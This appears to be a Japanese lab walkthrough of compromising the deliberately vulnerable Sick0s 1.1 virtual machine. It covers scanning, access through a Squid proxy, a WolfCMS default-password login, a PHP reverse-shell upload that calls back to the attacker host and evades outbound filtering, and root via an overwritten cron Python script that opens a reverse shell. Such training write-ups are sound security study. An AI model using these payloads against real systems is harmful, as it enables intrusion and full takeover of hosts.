検証環境の構築
対象の仮想マシン(Sick0s 1.1)をNATモードで構築し、攻撃マシン(Kali Linux)と同一のネットワークセグメントに配置します。今回の検証環境におけるIPアドレスは以下の通りです。
- 攻撃マシン (Kali): 192.168.56.101
- ターゲットマシン: 192.168.56.102
情報収集とスキャン
生存ホストの検出
まずはネットワーク内のアクティブなホストを特定するために、ARPスキャンを実行します。
sudo nmap -PR 192.168.56.0/24
スキャンの結果、ターゲットとなるIPアドレス 192.168.56.102 を特定しました。
ポートスキャンとサービス特定
次に、Nmapを使用してターゲットマシンの開放ポートと動作サービスの詳細を調査します。TCP全ポートのスキャンを実行後、検出されたポートに対して詳細なバージョン検出とスクリプトスキャンを行います。
# ポートスキャン (TCP)
sudo nmap -p- --open -T4 192.168.56.102
# 詳細スキャン (サービス/OS/脆弱性)
sudo nmap -sV -sC -O -p22,3128 --script=vuln 192.168.56.102
スキャン結果により、ポート22(SSH)とポート3128(squid-http proxy)が開放されていることが確認できました。
プロキシ経由でのWebアプリケーション分析
ポート3128でSquidプロキシサーバーが動作しています。これはフォワードプロキシとして機能している可能性が高いため、攻撃マシンのプロキシ設定(proxychains や環境変数)を変更し、このプロキシ経由でターゲットのHTTPポート(80番など)にアクセスを試みます。
/etc/proxychains4.conf を編集してプロキシサーバーを追加し、ブラウザまたはコマンドラインツール経由でアクセスします。
proxychains curl http://192.168.56.102
プロキシを経由することで、ポート80番においてWolfCMSが動作しているWebページを表示することができました。
ディレクトリ探索とCMSの特定
Webサイトの構造を把握するため、gobuster を使用してディレクトリブルートフォース攻撃を行います。
gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt
その結果、/robots.txt を通じて /wolfcms のパスが明らかになりました。また、/connect ディレクトリには connect.py というPythonスクリプトが配置されており、これは後の権限昇格の手がかりとなります。
WolfCMSの管理画面 (/wolfcms/admin) にアクセスし、認証を試行します。デフォルトの認証情報 admin:admin を入力したところ、ログインに成功しました。CMSのバージョンは0.8.2であることを確認します。
初期アクセスの取得 (RCE)
WolfCMS 0.8.2には、認証済みユーザーがファイルをアップロードできる脆弱性が存在します。管理画面の「Files」セクションから、PHP拡張子を持つリバースシェルを作成・アップロードします。
<?php
$sock = fsockopen("192.168.56.101", 4444);
$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
アップロードしたシェルにブラウザからアクセスしますが、ファイアウォールのアウトバウンド規制により即座に接続が切断される現象が発生しました。この回避策として、信頼されたトラフィックとして通過しやすいポート80番または443番をリスナーポートとして指定します。
nc -lvnp 80
ポートを変更してシェルを再実行したところ、Kaliマシンでの接続が確立され、低権限ユーザーでのシェルを取得することに成功しました。
権限昇格
取得したシェルから、システム内の脆弱性や設定ミスを調査します。まず、データベースの設定ファイルを確認すると、以下の認証情報を発見しました。
- ユーザー名: root
- パスワード: john@123
このパスワードはSSH接続には使用できませんでしたが、ユーザー sickos のパスワードとして機能する可能性があります。しかし、今回は別の経路であるCronジョブを利用した権限昇格を試みます。
Cronジョブの悪用
システム上のCronジョブ設定を検索すると、root権限で /var/www/connect.py が定期実行されていることが判明しました。このファイルには書き込み権限があるため、Pythonスクリプトを改ざんでリバースシェルを取得するコードに書き換えます。
以下のPythonコードを connect.py に上書きします。
import socket, subprocess, os
def reverse_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.101", 9999))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
reverse_shell()
書き換え後、Kaliマシンでポート9999をリッスンし、Cronジョブが実行されるのを待ちます。ジョブが実行されると、root権限を持つシェルが返され、ターゲットマシンの完全な制御を取得することができました。